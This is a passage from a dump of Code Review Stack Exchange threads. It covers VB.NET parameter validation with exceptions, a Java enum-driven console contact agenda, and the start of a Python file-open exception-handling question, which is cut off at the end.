body stringlengths 25 86.7k | comments list | answers list | meta_data dict | question_id stringlengths 1 6 |
|---|---|---|---|---|
<pre><code>Public Function MyProjectFuncion(firstObject As Object,
myEnumeration As Enumeration,
theString As String,
someCollection As List(of Object),
anotherObject As Object) _
As String
If IsNothing(firstObject) Then
Throw New Exception("No data was received in 'firstObject'")
Else
If IsNothing(anotherObject) Then
Throw New Exception("No data was received in 'anotherObject'")
Else
If IsNothing(myEnumeration) OrElse myEnumeration = 0 Then
Throw New Exception("No data was received in 'myEnumeration'")
Else
If IsNothing(theString) OrElse theString = String.Empty Then
Throw New Exception("No data was received in 'theString'")
Else
If IsNothing(someCollection) OrElse someCollection.Count = 0 Then
Throw New Exception("No data was received in 'someCollection'")
End If
End If
End If
End If
End If
Return "All the variables have value"
End Function
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:22:00.837",
"Id": "82211",
"Score": "0",
"body": "Thanks @SimonAndréForsberg but unfortunately this is a code that someone is actually using in our real project, I just don't wanna use the real name values. I'm posting this code 'cause I think there should be a better way to do this, but its beyond me ATM."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:25:52.330",
"Id": "82213",
"Score": "0",
"body": "@200_success the only difference with the real project is the string inside de Exception. The values a, b, c[...] are variables and the message inside the exception wants to tell which one is the variable with no value."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:27:55.487",
"Id": "82216",
"Score": "0",
"body": "@SimonAndréForsberg this is the initial block of a method, and its intention is to verify that all the parameters have value"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:28:03.830",
"Id": "82217",
"Score": "1",
"body": "We'd like to know more because there's usually a deeper cause why code like this needs to exist in the first place."
}
] | [
{
"body": "<p>You're throwing <code>System.Exception</code> - that's bad, you'll want to throw a <em>meaningful</em> exception. See <a href=\"https://codereview.stackexchange.com/a/44490/23788\">this answer</a> for more details.</p>\n\n<p>The main problem with this code, is that you're using exceptions to <em>control the execution flow</em> of your program, which is very expensive - I assume you're going to be catching these exceptions somewhere down the call stack.</p>\n\n<p>If <code>a</code> is <code>Nothing</code>, then accessing it will throw an <code>NullReferenceException</code>. Same for <code>b</code>, <code>c</code>, <code>d</code> and <code>e</code> (say, you also have <code>f</code> in there?).</p>\n\n<p>Let it blow up with whatever exception you get - and catch it. Use exceptions for <em>exceptional</em> cases, and avoid throwing them altogether if you can.</p>\n\n<hr>\n\n<p><strong>\"Exceptions are expensive\"</strong></p>\n\n<p><em>\"Throwing and catching exceptions is expensive\"</em>, you'll read [almost] everywhere. There's truth in that, <a href=\"https://stackoverflow.com/users/22656/jon-skeet\">Jon Skeet</a> has a great article <a href=\"http://www.developerfusion.com/article/5250/exceptions-and-performance-in-net/\" rel=\"nofollow noreferrer\">here</a> that correlates performance to the depth of the call stack. The reason for this, is because the thread stops at the <code>throw</code> instruction, and then the exception's <code>StackTrace</code> gets populated - the call stack gets unwinded and the thread walks it until it reaches a <code>catch</code> block. The deeper the stack, the longer it takes.</p>\n\n<p>But the problem isn't about performance - it's about <em>efficiency</em>. <strong>Exceptions are not a way to control your execution flow</strong>. Regardless of whether or not you care about wasting cycles and populating a stack trace, regardless of how long that takes for the runtime to complete, the point and the matter is, there are ways to make the intent much clearer to whoever is maintaining this code, than by throwing an exception.</p>\n\n<hr>\n\n<p>The goal is to validate a bunch of objects, and return a message that informs which object is in an invalid state.</p>\n\n<p>By throwing an exception, the first invalid object exits the function and you can't know if other ones were invalid.</p>\n\n<p>By nesting the conditions and returning a <code>String</code>, the <em>last</em> invalid object gets its status reported... if you're lucky - I mean, when <code>anotherObject</code> isn't null, nothing else gets checked and you can't report that <code>theString</code> was <code>NullOrEmpty</code>.</p>\n\n<p>How about returning a flag enum that contains <em>all validation errors</em>? (not sure of VB syntax here, my background is C#):</p>\n\n<pre><code>[Flags]\nPublic Enum MyValidationError\n None = 0\n FirstObjectIsInvalid = 1\n MyEnumerationIsInvalid = 2\n TheStringIsInvalid = 4\n SomeCollectionIsInvalid = 8\n AnotherObjectIsInvalid = 16\nEnd Enum\n</code></pre>\n\n<p>Then the function can return a <code>MyValidationError</code> value:</p>\n\n<pre><code>Public Function MyProjectFunction(...) As MyValidationError\n\n Dim result As MyValidationError\n If IsNothing(firstObject) Then result += MyValidationError.FirstObjectIsInvalid\n If IsNothing(anotherObject) Then result += MyValidationError.AnotherObjectIsInvalid\n If MyEnumeration = 0 Then result += MyValidationError.MyEnumerationIsInvalid 'an enum type shouldn't ever be 'Nothing'...\n If String.IsNullOrEmpty(theString) Then result += MyValidationError.TheStringIsInvalid\n If IsNothing(SomeCollection) OrElse SomeCollection.Count = 0 Then result += MyValidationError.SomeCollectionIsInvalid\n\n Return result\n\nEnd Function\n</code></pre>\n\n<p>Notice <strong>all</strong> parameters are validated every time now, and the result will contain everything that went wrong. Then <em>another method</em> can use <em>bitwise AND</em> operations on the result and determine the message(s) to log/display, all without throwing an exception, and without nesting anything.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:45:15.300",
"Id": "82222",
"Score": "0",
"body": "I know that throwing exceptions are bad in this case, no one wants to throw a new exception just because an object is null, the problem is, that I need to show why are they expensive. (The person who did this, wants it to be an exception)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T22:12:05.877",
"Id": "82248",
"Score": "0",
"body": "`[...]those exceptions weren't significant at all when it came to performance` That's the conclussion of the article you gave me, for what I understand, it tells me it would be good to use exceptions cause they are not that expensive."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T22:46:14.510",
"Id": "82253",
"Score": "0",
"body": "@Luis edited now ;)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T22:54:02.363",
"Id": "82254",
"Score": "0",
"body": "I like the idea of the `Enum`, and you're right on _Exceptions are not a way to control your execution flow_. I figured something recently, there is not `Catch` on the caller method, I think these `Exceptions` were going to interrupt the flow of the whole program..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T22:56:24.993",
"Id": "82255",
"Score": "0",
"body": "If the caller doesn't catch it, the exception will \"bubble up\" the call stack until it finds a catch block - and you're right, if it doesn't find any, your program dies a not-so-graceful death."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T23:30:13.053",
"Id": "82258",
"Score": "1",
"body": "Exception means: the function is undefined on a certain input. (In fact, if you throw an exception, then you are not allowed to also return a value.) The exception should be listed in the documentation, and if a client is not aware of it, then it's a bug in the client. If a function is defined on a certain input (MyProjectFunction is defined on all inputs) then an exception is just an ugly way of writing return. The difference in performance can be hardly seen in most cases, the point is exceptions are the wrong tool to be used in this context."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T23:33:16.197",
"Id": "82259",
"Score": "0",
"body": "@ignis indeed... isn't this the point I'm making? *But the problem isn't about performance - it's about efficiency. Exceptions are not a way to control your execution flow. Regardless of whether or not you care about wasting cycles and populating a stack trace, regardless of how long that takes for the runtime to complete, the point and the matter is, there are ways to make the intent much clearer to whoever is maintaining this code, than by throwing an exception.*"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T23:35:41.697",
"Id": "82260",
"Score": "1",
"body": "Yes, it is, in fact I agree with you."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-05-08T21:02:41.137",
"Id": "86625",
"Score": "1",
"body": "The only thing I'd add is that I would argue that whilst by and large you should not control flow with exceptions, the use of recoverable exceptions can be justified though this dovetails right into @Mat'sMug 's point about the use of _meaningful_ exceptions. If this is a library then by all means raise a suitable, targeted exception where appropriate (like `FileNotFoundException` or `NotImplementedException`) and don't catch it in your library, let the caller deal with it. If it ' a consumer then there's no shame in catching and dealing with **recoverable** errors like `FileNotFoundException`"
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:38:50.130",
"Id": "46960",
"ParentId": "46957",
"Score": "8"
}
},
{
"body": "<ol>\n<li><p>Lets kill that giant nest of code. When an Exception is thrown, it interrupts the flow of the program. The code does not continue to execute beyond that point, it is like an early return in that regard. This means we do not need to nest our next statement in the Else block, because if an exception was thrown the program has returned.</p></li>\n<li><p>You should not be throwing Exception, not to say you should throw exceptions, but just not throw the base Exception class. Instead make your own exception class that inherits from Exception. An incredibly simple way of doing this is just...</p>\n\n<pre><code>Public Class MissingDataException\n Inherits Exception\n Public Sub New(message As String)\n MyBase.New(message)\n End Sub\n Public Sub New(message As String, innerException As Exception)\n MyBase.New(message, innerException)\n End Sub\nEnd Class\n</code></pre></li>\n<li><p>Lets also use some of .Net's built in features, specifically belonging to the string class.</p>\n\n<pre><code>String.IsNullOrEmpty(theString)\n</code></pre>\n\n<p>will replace the condition for checking null-ness and emptyness, I would recommend you look at <code>IsNullOrWhiteSpace</code> as well, this is good if you may be getting some blank spaces newlines or tabs with your data.</p></li>\n<li><p>(Optional) Instead of comparing your Enumeration to 0, implement a <code>MyEnumeration.NoValue</code> value, this way in-case someone ever changes the default values of enum this code will still work. Or if you don't want to change the enum, you could just check to see if the value given is a valid value in your enumeration.</p></li>\n</ol>\n\n<p>Now your code will look like this</p>\n\n<pre><code>Public Function MyProjectFuncion(firstObject As Object, myEnumeration As Enumeration, theString As String, someCollection As List(Of Object), anotherObject As Object) As String\n If (firstObject Is Nothing) Then\n Throw New MissingDataException(\"No data was received in 'firstObject'\")\n End If\n If (anotherObject Is Nothing) Then\n Throw New MissingDataException(\"No data was received in 'anotherObject'\")\n End If\n If (myEnumeration Is Nothing) OrElse myEnumeration = 0 Then\n Throw New MissingDataException(\"No data was received in 'myEnumeration'\")\n End If\n If String.IsNullOrEmpty(theString) Then\n Throw New MissingDataException(\"No data was received in 'theString'\")\n End If\n If (someCollection Is Nothing) OrElse someCollection.Count = 0 Then\n Throw New MissingDataException(\"No data was received in 'someCollection'\")\n End If\n Return \"All the variables have value\"\nEnd Function\n</code></pre>\n\n<hr>\n\n<p>I do want to address the way this method is functioning. It would appear that you have gotten some data, and now are checking the data. I know you said this is someone else's code, but it should be changed. My assumption is that outside this method call is a try catch statement that is catching the exception and displaying or logging the exception message, otherwise display/logging the \"It worked\" message. I am guessing this is the case because the person who wrote this code didn't realize how much better it would be to just return two values.</p>\n\n<p>Notice at the end of the method signature is a new parameter called succeeded</p>\n\n<pre><code>Public Function MyProjectFuncion(firstObject As Object, myEnumeration As Enumeration, theString As String, someCollection As List(Of Object), anotherObject As Object, ByRef succeeded As Boolean) As String\n succeeded = False\n If (firstObject Is Nothing) Then\n Return \"No data was received in 'firstObject'\"\n End If\n If (anotherObject Is Nothing) Then\n Return \"No data was received in 'anotherObject'\"\n End If\n If (myEnumeration Is Nothing) OrElse myEnumeration = 0 Then\n Return \"No data was received in 'myEnumeration'\"\n End If\n If String.IsNullOrEmpty(theString) Then\n Return \"No data was received in 'theString'\"\n End If\n If (someCollection Is Nothing) OrElse someCollection.Count = 0 Then\n Return \"No data was received in 'someCollection'\"\n End If\n\n succeeded = True\n Return \"All the variables have value\"\nEnd Function\n</code></pre>\n\n<p>Now the succeeded value is available after the method returns, and will only be true if all values past the test, and now there is no nasty exception throwing, which hurts your application's performance and is just bad practice.</p>\n\n<p>You can call the method like this now. WITHOUT a try..catch surrounding it</p>\n\n<pre><code>Dim wasSuccess As Boolean\nDim message As String = MyProjectFuncion(firstObject, myEnumeration, theString, someCollection, anotherObject, wasSuccess)\n\nIf wasSuccess Then\n 'What you do when it works\nElse\n 'What you do normally when there is an exception in that method\nEnd If\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T22:25:25.033",
"Id": "82250",
"Score": "0",
"body": "Thanks for your answer, it's very complete, but I'm afraid there's no `Try Catch` on the caller method, which is bad. I've already implemented a `MyException` `Class`, but I think it's still a bad practice to raise any of this exceptions, this should be an informative return and only tell which object is invalid."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T16:38:37.563",
"Id": "82430",
"Score": "0",
"body": "@Luis That is indeed very bad. I wonder what the original authors purpose behind giving specific messages to each exception if he never catches them. You are indeed correct this is just a simple information gathering method, and you should probably use it as such... perhaps just do what I did above and not worry about when it fails. (as long as that isnt a breaking change)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:23:06.673",
"Id": "46966",
"ParentId": "46957",
"Score": "7"
}
}
] | {
"AcceptedAnswerId": "46960",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:09:13.387",
"Id": "46957",
"Score": "5",
"Tags": [
"vb.net",
"validation",
"exception"
],
"Title": "Is there a better way to optimize these conditionals?"
} | 46957 |
<p>I'm still new in Java so I always try to find new ways and improve my skills.</p>
<p>I found <code>enum</code> in Java to be very powerful (maybe excessively?) and while I was reading Effective Java book I've had some great ideas and I thought about using it to improve the flexibility of a standard console application which asks to the user to select 1...x options and does actions with it (to avoid the problems to update indexes options every time you need to add/remove an option).</p>
<p>Ok, to test it I've just created a small application which doesn't do anything special (add and remove elements from a <code>Set</code> in logic code)</p>
<p>The application allows the user to add a contact, remove it and show all contacts.</p>
<hr>
<p><strong>Main.java</strong></p>
<p>The main class of the application, show the menu and ask to the user to select an option and execute the selected option.</p>
<p>Code:</p>
<pre><code>public class Main
{
public static void main(String[] args)
{
Agenda agenda = new Agenda();
boolean result = true;
while (result)
{
for (MENU_SCELTE scelte : MENU_SCELTE.values())
{
System.out.println(scelte);
}
MENU_SCELTE scelta = chooseOption();
if (scelta == null)
{
System.out.println("Scelta non valida.");
}
else
{
result = scelta.perform(agenda);
}
}
}
/**
* This method will create the menu
*
* @return True if the program should continue to create the menu; false otherwise.
*/
private static MENU_SCELTE chooseOption()
{
int userScelta;
while (true)
{
try
{
userScelta = Integer.parseInt(Actions.bufferedReader.readLine());
break;
}
catch (IOException ignored) { }
catch (NumberFormatException e)
{
System.out.println("Inserisci un numero valido.");
}
}
return MENU_SCELTE.from(userScelta);
}
}
</code></pre>
<hr>
<p><strong>MENU_SCELTE.java</strong></p>
<p><code>MenuAction</code> is an interface which declares only one method (<code>perform</code>) which executes the method.</p>
<p>While it would be better to define it inside the <code>MENU_SCELTE</code> as <code>abstract method</code> I chose to use an interface for no reason... Maybe an interface would be better in a more serious scenario.</p>
<p>A description of the action is passed to the constructor; the value (the number to write to execute the action) is calculated using <code>ordinal() + 1</code> it could be read as a bad practice but I may be wrong, am I?</p>
<pre><code>public enum MENU_SCELTE implements MenuAction
{
AGGIUNGI_CONTATTO ("Permette di aggiungere un contatto")
{
@Override
public boolean perform(Agenda agenda)
{
Actions.aggiungiContatto(agenda);
return true;
}
},
RIMUOVI_CONTATTO ("Permette di rimuovere un contatto")
{
@Override
public boolean perform(Agenda agenda)
{
Actions.rimuoviContatto(agenda);
return true;
}
},
ELENCO_CONTATTI ("Elenca tutti i contatti")
{
@Override
public boolean perform(Agenda agenda)
{
Actions.elencoContatti(agenda);
return true;
}
},
ESCI ("Chiude il programma")
{
@Override
public boolean perform(Agenda agenda)
{
return false;
}
};
private static final EnumMap<MENU_SCELTE, Integer> map;
private final int value;
static
{
map = new EnumMap<MENU_SCELTE, Integer>(MENU_SCELTE.class);
for (MENU_SCELTE scelte : values())
{
map.put(scelte, scelte.value);
}
}
private final String description;
MENU_SCELTE(String description)
{
this.description = description;
value = ordinal() + 1;
}
@Override
public String toString()
{
return value + ": " + description;
}
public static MENU_SCELTE from(int code)
{
for (EnumMap.Entry<MENU_SCELTE, Integer> entry : map.entrySet())
{
if (entry.getValue() == code)
{
return entry.getKey();
}
}
return null;
}
}
</code></pre>
<hr>
<p><strong>MenuAction.java</strong></p>
<p>I know the Javadoc is wrong.</p>
<pre><code>public interface MenuAction
{
/**
* Will be the action which should be executed when selected
*
* @return Returns true if the application can show again the menu; false if not.
*/
boolean perform(Agenda agenda);
}
</code></pre>
<hr>
<p><strong>Actions.java</strong></p>
<p>Here is my main problem, the code inside the <code>enum</code> will start to be very big if I implement the code of the various actions inside the perform method so I created some static methods which contain the logic. </p>
<p>Well, I don't like it really, it sounds like a strange solution. How could it be replaced?</p>
<p>To avoid creating a new <code>BufferedReader</code> every time I used a static one.</p>
<pre><code>public class Actions
{
public static final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in));
public static void aggiungiContatto(Agenda agenda)
{
try
{
Contatto.Builder builder = new Contatto.Builder();
System.out.println("Inserisci il nome del contatto");
// i don't care if he uses a bad name
builder.setNome(bufferedReader.readLine());
System.out.println("Inserisci il cognome del contatto.");
builder.setCognome(bufferedReader.readLine());
String phoneNumber;
while (true)
{
try
{
System.out.println("Inserisci il numero di telefono");
phoneNumber = bufferedReader.readLine();
// 20 - but could be 15?
if (phoneNumber.length() < 20 && tryIsNumeric(phoneNumber))
{
break;
}
else
{
System.out.println("Inserisci un numero valido.");
}
}
catch (IOException ignored) { }
}
builder.setPhoneNumber(phoneNumber);
if (agenda.add(builder.build()))
{
System.out.println("Contatto aggiunto!");
}
else
{
System.out.println("Contatto non aggiunto, già presente.");
}
}
catch (IOException e)
{
// e.printStackTrace();
}
}
public static void rimuoviContatto(Agenda agenda)
{
try
{
System.out.println("Nome contatto:");
String nome = bufferedReader.readLine();
System.out.println("Cognome contatto:");
String cognome = bufferedReader.readLine();
System.out.println("Numero di telefono:");
String phoneNumber = bufferedReader.readLine();
if (agenda.remove(nome, cognome, phoneNumber))
{
System.out.println("Contatto rimosso.");
}
else
{
System.out.println("Impossibile rimuovere il contatto.");
}
}
catch (IOException e)
{
e.printStackTrace();
}
}
public static void elencoContatti(Agenda agenda)
{
Set<Contatto> contatti = agenda.getContatti();
if (contatti.size() == 0)
{
System.out.println("Nessun contatto.");
}
else
{
for (Contatto contatto : contatti)
{
System.out.println(contatto);
}
}
}
/**
* Check if a String is a Number but doesn't convert it.
*
* It works checking if Long.parseLong thrown an NumberFormatException
* @param string The string to check
* @return True if the string contains only numbers; otherwise false.
*/
public static boolean tryIsNumeric(String string)
{
try
{
Long.parseLong(string);
return true;
}
catch (NumberFormatException e) { return false; }
}
}
</code></pre>
<hr>
<p><strong>Agenda.java</strong></p>
<p>This class is nothing special, it just keeps a List of <code>Contatto</code>.</p>
<p>What about <code>HashSet</code> as collection? And the <code>remove(String, String, String)</code> method? Maybe I could use a <code>foreach</code>, since I will stop the loop after I've deleted it, so no <code>ConcurrentModificationException</code> should be thrown?</p>
<pre><code>public class Agenda
{
private Set<Contatto> contatti;
public Agenda()
{
contatti = new HashSet<Contatto>();
}
public boolean add(Contatto contatto)
{
return contatti.add(contatto);
}
public void remove(Contatto contatto)
{
contatti.remove(contatto);
}
public boolean remove(String nome, String cognome, String phoneNumber)
{
Iterator<Contatto> iterator = contatti.iterator();
while (iterator.hasNext())
{
Contatto contatto = iterator.next();
if (contatto.getNome().equals(nome) && contatto.getCognome().equals(cognome) && contatto.getPhoneNumber().equals(phoneNumber))
{
iterator.remove();
return true;
}
}
return false;
}
public Set<Contatto> getContatti()
{
return Collections.unmodifiableSet(contatti);
}
}
</code></pre>
<hr>
<p><strong>Contatto.java</strong></p>
<p>While i know <code>hashCode</code> method do useless checks (<code>nome</code>, <code>cognome</code> and <code>phoneNumber</code> will never be null so why check it?) </p>
<p>It's a basic class.</p>
<pre><code>public final class Contatto
{
public static class Builder
{
private String nome;
private String cognome;
private String phoneNumber;
public Builder setNome(String nome)
{
if (nome == null)
throw new IllegalArgumentException("nome == null");
this.nome = nome;
return this;
}
public Builder setCognome(String cognome)
{
if (cognome == null)
throw new IllegalArgumentException("cognome == null");
this.cognome = cognome;
return this;
}
public Builder setPhoneNumber(String phoneNumber)
{
if (phoneNumber == null)
throw new IllegalArgumentException("phoneNumber == null");
this.phoneNumber = phoneNumber;
return this;
}
public Contatto build()
{
return new Contatto(this);
}
}
private final String nome;
private final String cognome;
private final String phoneNumber;
private Contatto(Builder builder)
{
nome = builder.nome;
cognome = builder.cognome;
phoneNumber = builder.phoneNumber;
}
public String getNome()
{
return nome;
}
public String getCognome()
{
return cognome;
}
public String getPhoneNumber()
{
return phoneNumber;
}
@Override
public boolean equals(Object obj)
{
if (obj instanceof Contatto)
{
Contatto contatto = (Contatto) obj;
return
contatto.phoneNumber.equals(phoneNumber) &&
contatto.nome.equals(nome) &&
contatto.cognome.equals(cognome);
}
return false;
}
@Override
public int hashCode()
{
int result = nome != null ? nome.hashCode() : 0;
result = 31 * result + (cognome != null ? cognome.hashCode() : 0);
result = 31 * result + (phoneNumber != null ? phoneNumber.hashCode() : 0);
return result;
}
@Override
public String toString()
{
return nome + " " + cognome + " (" + phoneNumber + ")";
}
}
</code></pre>
<p>The application works very well, but its design is terrible for me... how could it be improved?</p>
| [] | [
{
"body": "<p>Just a few random comments:</p>\n\n<ol>\n<li><p>For this:</p>\n\n<blockquote>\n <p>A description of the action is passed to the constructor; \n the value (the number to write to execute the action) is calculated\n using ordinal() + 1 it could be read as a bad practice but I may be wrong, am I?</p>\n</blockquote>\n\n<p>You might not want this to be calculated automatically. A maintainer might insert a new enum value in the middle of the other values which would break the existing \"hotkeys\": code for the listing items menu was <code>3</code> but in a new release it's changed to <code>4</code>. It could be frustrating to users.</p></li>\n<li><p>Mixing two languages in the code makes it harder to read and maintain. Maintainers have to remember which method/variable is in English and which one is in Italian. Using only one language requires less work.</p></li>\n<li><p>For this:</p>\n\n<blockquote>\n <p>Well, I don't like it really, it sounds like a strange solution. How could it be replaced?</p>\n</blockquote>\n\n<p>Another idea is creating a separate class for every <code>Action</code> and storing the available instances in a list/map.</p>\n\n<pre><code>public interface Action {\n String getKeyCode();\n void doAction() throws MenuExitException;\n}\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>List<Action> actions = new Action<>();\nactions.add(new OpenAction());\nactions.add(new ExitAction());\n\nfor (Action action: actions) {\n if (!action.getKeyCode().eqauls(pressedKey)) {\n continue;\n }\n action.doAction();\n return;\n}\n// invalid action\n</code></pre>\n\n<p>Note the <code>MenuExitException</code> too (instead of the <code>boolean</code> return value). It's another way of exitting the application.</p></li>\n<li><p>The following pattern is in the code multiple times:</p>\n\n<blockquote>\n<pre><code>if (nome == null)\n throw new IllegalArgumentException(\"nome == null\");\n</code></pre>\n</blockquote>\n\n<p>I'd use Guava's <a href=\"http://docs.guava-libraries.googlecode.com/git/javadoc/com/google/common/base/Preconditions.html#checkArgument%28boolean,%20java.lang.Object%29\" rel=\"nofollow noreferrer\"><code>checkArgument</code></a> method here (or create a similar one). With <a href=\"http://docs.guava-libraries.googlecode.com/git/javadoc/com/google/common/base/Preconditions.html#checkNotNull%28T,%20java.lang.Object%29\" rel=\"nofollow noreferrer\"><code>checkNotNull</code></a> you can save another line (although it throws <code>NullPointerException</code> instad of <code>IllegalArgumentException</code>):</p>\n\n<pre><code>this.nome = checkNotNull(nome, \"nome == null\");\n</code></pre></li>\n<li><p>You could use <a href=\"http://docs.oracle.com/javase/7/docs/api/java/util/Objects.html#hash%28java.lang.Object...%29\" rel=\"nofollow noreferrer\"><code>Objects.hash</code></a> in the <code>hashCode</code> method.</p></li>\n<li><p>This assignment could be in the same line as the declaration:</p>\n\n<blockquote>\n<pre><code>private Set<Contatto> contatti;\n\npublic Agenda()\n{\n contatti = new HashSet<Contatto>();\n}\n</code></pre>\n</blockquote>\n\n<p>And it could be final:</p>\n\n<pre><code>private final Set<Contatto> contatti = new HashSet<Contatto>();\n</code></pre>\n\n<p><code>final</code> would improve code readability since readers don't have to check whether it's is changed somewhere in the class or not.</p></li>\n<li><p>I would not restrict the phone number to have only numbers.</p>\n\n<blockquote>\n <p>If the user wants to give you his phone number, then trust him to get it right. If he does not want to give it to you then forcing him to enter a valid number will either send him to a competitor's site or make him enter a random string that fits your regex. I might even be tempted to look up the number of a premium rate sex line and enter that instead.</p>\n</blockquote>\n\n<p>Source: <a href=\"https://stackoverflow.com/a/1245990/843804\">https://stackoverflow.com/a/1245990/843804</a></p></li>\n<li><p>Anyway, a named method (<code>readPhoneNumber()</code>) for the phone number reading logic would be easier to follow here.</p></li>\n<li><p>Instead of ignoring <code>IOException</code> log them. It could help debugging a lot. (Having \"does not work\" bug reports without any possible/available clue about what went wrong could harm you. Saying that you have no idea is not too professional.)</p></li>\n<li><p>Instead of </p>\n\n<blockquote>\n<pre><code>if (contatti.size() == 0)\n</code></pre>\n</blockquote>\n\n<p>the following would be more convenient:</p>\n\n<pre><code>if (contatti.isEmpty())\n</code></pre></li>\n<li><p>Furthermore, instead of this:</p>\n\n<blockquote>\n<pre><code>if (contatti.isEmpty())\n{\n System.out.println(\"Nessun contatto.\");\n}\nelse\n{\n for (Contatto contatto : contatti)\n {\n System.out.println(contatto);\n }\n}\n</code></pre>\n</blockquote>\n\n<p>you could use a <a href=\"http://blog.codinghorror.com/flattening-arrow-code/\" rel=\"nofollow noreferrer\">guard clause</a> to make the code flatten:</p>\n\n<pre><code>if (contatti.isEmpty()) {\n System.out.println(\"Nessun contatto.\");\n return;\n}\n\nfor (final Contatto contatto: contatti) {\n System.out.println(contatto);\n}\n</code></pre></li>\n<li><p><code>MENU_SCELTE.from</code> refers to the <code>value</code> as <code>code</code>. It would be easier to read if both were called <code>menuCode</code> or something more descriptive.</p></li>\n<li><p><code>chooseOption()</code> also could use a guard clause:</p>\n\n<pre><code>private static MENU_SCELTE chooseOption() {\n while (true) {\n try {\n int userScelta = Integer.parseInt(Actions.bufferedReader.readLine());\n return MENU_SCELTE.from(userScelta);\n } catch (IOException ignored) {\n } catch (NumberFormatException e) {\n System.out.println(\"Inserisci un numero valido.\");\n }\n }\n}\n</code></pre></li>\n<li><p>Referring to <code>Actions.bufferedReader</code> from <code>Main</code> seems too tightly coupled:</p>\n\n<blockquote>\n<pre><code>userScelta = Integer.parseInt(Actions.bufferedReader.readLine());\n</code></pre>\n</blockquote>\n\n<p>I would create it only once and pass it to the object instances which require it. It would also make testing easier (you can give them a mocked/fake reader) and make dependencies visible which is easier to work with (no surprises, you won't find a static method call/field access in the middle of another method, it will be clear which class requires which one at the beginning).</p>\n\n<p>I would also rename <code>bufferedReader</code> to something which reflects that it's reading from the stdin.</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:20:30.000",
"Id": "82419",
"Score": "0",
"body": "Using String keyCode(); the action chooses at which code should respond no? but could happen two actions have the same key and to know it you should go inside class code (with 30+ actions ?) would not be harder to mantain it?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:48:42.980",
"Id": "82423",
"Score": "0",
"body": "@MarcoAcierno: Good thoughts, I'd create a method with a loop which checks for duplicated keycodes and throw an exception. You could also create a `Map<String, Action>` where the key of the map is the keycode, so the `Action` classes are separated from their keycodes (no need of `getKeyCode()`)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:38:26.827",
"Id": "82464",
"Score": "0",
"body": "About confusion between italian/english yes is a thing which is should resolve absolutely. About static bufferedReader the idea of pass it around is great, i would create it as local inside main -> pass it to scelta.perform -> use it. About point 6 i know that but variable = new {etc} sounds strange to me. (but it's me ok.) Objects.hash() i was surfing around code sounds great but why is not used so much? overhead? About the MenuExitException is was thinking the same thing but i try always to avoid exceptions."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:41:20.490",
"Id": "82465",
"Score": "0",
"body": "Anyway with Map<String, Action> i would leave the code open to much more keys (not only numbers) but my objective is to avoid to maintain the key, if i have: 1, 2, 3, 4, 5, 6, 7. 7 is the exit; i add an option between 4 i should change everything from 4+"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:06:51.000",
"Id": "47065",
"ParentId": "46959",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "47065",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T20:19:51.480",
"Id": "46959",
"Score": "4",
"Tags": [
"java",
"console",
"enum"
],
"Title": "\"Agenda\" test application for Enum"
} | 46959 |
<p>I'm trying to work with exception handling by displaying "No Such File" when the file doesn't exist. I need to use a <code>try</code> statement.</p>
<pre><code>import sys
try:
f = open("h:\\nosuchdirectory\\nosuchfile.txt","w") # do not modify this line
f.write("This is the grape file") # do not modify this line
f.close() # do not modify this line
except IOError:
print ("No Such File")
</code></pre>
<p>Started with:</p>
<pre><code>f = open("h:\\nosuchdirectory\\nosuchfile.txt","w") # do not modify this line
f.write("This is the grape file") # do not modify this line
f.close() # do not modify this line
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:41:24.283",
"Id": "82239",
"Score": "0",
"body": "From the answer given by @RuslanOsipov, it appears that your code actually does not work. You should only post working code on Code Review, otherwise, your question will be deemed off-topic and closed. You can still edit your question with code working as intended (actually printing the message when the file does not exist) if you want to keep it open, and we will be happy to review it :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-11T21:52:08.753",
"Id": "82245",
"Score": "0",
"body": "Also, after re-reading a question this looks like an un-finished homework to me."
}
] | [
{
